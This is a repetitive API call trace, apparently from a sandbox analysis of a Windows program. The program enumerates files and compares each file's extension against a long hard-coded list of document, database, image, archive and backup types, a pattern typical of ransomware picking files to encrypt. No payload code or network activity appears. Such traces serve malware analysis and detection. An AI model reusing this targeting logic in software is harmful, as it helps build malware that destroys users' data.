	[0082.608] wcsstr (_Str=".bmp", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".tif", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".1cd", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".tax", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".gif", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".gbr", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".png", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".mdb", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".mdf", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".sdf", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".dwg", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".dxf", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".dgn", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".stl", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".gho", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.608] wcsstr (_Str=".v2i", _SubStr=".mzz") returned 0x0
	[0082.608] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".3ds", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".ppt", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".acc", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".vpd", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".odt", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".ods", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".rar", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".zip", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".cpp", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".pas", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".asm", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".rtf", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".lic", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".avi", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".mov", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".mp3", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".vbs", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".v8i", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.609] wcsstr (_Str=".erf", _SubStr=".mzz") returned 0x0
	[0082.609] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.610] wcsstr (_Str=".epf", _SubStr=".mzz") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.610] wcsstr (_Str=".mxl", _SubStr=".mzz") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.610] wcsstr (_Str=".cfu", _SubStr=".mzz") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.610] wcsstr (_Str=".mht", _SubStr=".mzz") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.610] wcsstr (_Str=".bak", _SubStr=".mzz") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173af8 | out: _String=".mzz") returned=".mzz"
	[0082.610] wcsstr (_Str=".old", _SubStr=".mzz") returned 0x0
	[0082.610] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x64.msi", cAlternateFileName="NETFX_~1.MSI")) returned 1
	[0082.610] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0082.610] wcsncmp (_String1="ne", _String2="..", _MaxCount=0x2) returned 64
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".bat", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".doc", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".jpg", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".jpe", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".txt", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".tex", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".dbf", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".xls", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".cry", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.610] wcsstr (_Str=".xml", _SubStr=".msi") returned 0x0
	[0082.610] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".vsd", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".pdf", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".csv", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".bmp", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".tif", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".1cd", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".tax", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".gif", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".gbr", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".png", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".mdb", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".mdf", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".sdf", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".dwg", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".dxf", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".dgn", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".stl", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".gho", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.611] wcsstr (_Str=".v2i", _SubStr=".msi") returned 0x0
	[0082.611] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".3ds", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".ppt", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".acc", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".vpd", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".odt", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".ods", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".rar", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".zip", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".cpp", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".pas", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".asm", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".rtf", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".lic", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".avi", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".mov", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".mp3", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".vbs", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".v8i", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.612] wcsstr (_Str=".erf", _SubStr=".msi") returned 0x0
	[0082.612] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".epf", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".mxl", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".cfu", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".mht", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".old", _SubStr=".msi") returned 0x0
	[0082.613] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Core_x86.msi", cAlternateFileName="NETFX_~2.MSI")) returned 1
	[0082.613] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0082.613] wcsncmp (_String1="ne", _String2="..", _MaxCount=0x2) returned 64
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".bat", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".doc", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".jpg", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".jpe", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".txt", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".tex", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".dbf", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".xls", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".cry", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.613] wcsstr (_Str=".xml", _SubStr=".msi") returned 0x0
	[0082.613] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".vsd", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".pdf", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".csv", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".bmp", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".tif", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".1cd", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".tax", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".gif", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".gbr", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".png", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".mdb", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".mdf", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".sdf", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".dwg", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".dxf", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".dgn", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".stl", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".gho", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.614] wcsstr (_Str=".v2i", _SubStr=".msi") returned 0x0
	[0082.614] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".3ds", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".ppt", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".acc", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".vpd", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".odt", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".ods", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".rar", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".zip", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".cpp", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".pas", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".asm", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".rtf", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".lic", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".avi", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".mov", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".mp3", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".vbs", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".v8i", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.615] wcsstr (_Str=".erf", _SubStr=".msi") returned 0x0
	[0082.615] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.616] wcsstr (_Str=".epf", _SubStr=".msi") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.616] wcsstr (_Str=".mxl", _SubStr=".msi") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.616] wcsstr (_Str=".cfu", _SubStr=".msi") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.616] wcsstr (_Str=".mht", _SubStr=".msi") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.616] wcsstr (_Str=".bak", _SubStr=".msi") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".msi") returned=".msi"
	[0082.616] wcsstr (_Str=".old", _SubStr=".msi") returned 0x0
	[0082.616] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfx_Extended.mzz", cAlternateFileName="NETFX_~2.MZZ")) returned 1
	[0082.616] wcsncmp (_String1="n", _String2=".", _MaxCount=0x1) returned 64
	[0082.616] wcsncmp (_String1="ne", _String2="..", _MaxCount=0x2) returned 64
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".bak", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".bat", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".doc", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".jpg", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".jpe", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".txt", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".tex", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".dbf", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".xls", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".cry", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.616] wcsstr (_Str=".xml", _SubStr=".mzz") returned 0x0
	[0082.616] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".vsd", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".pdf", _SubStr=".mzz") returned 0x0
	[0082.617] _wcslwr (in: _String=0x3173b00 | out: _String=".mzz") returned=".mzz"
	[0082.617] wcsstr (_Str=".csv", _SubStr=".mzz") returned 0x0
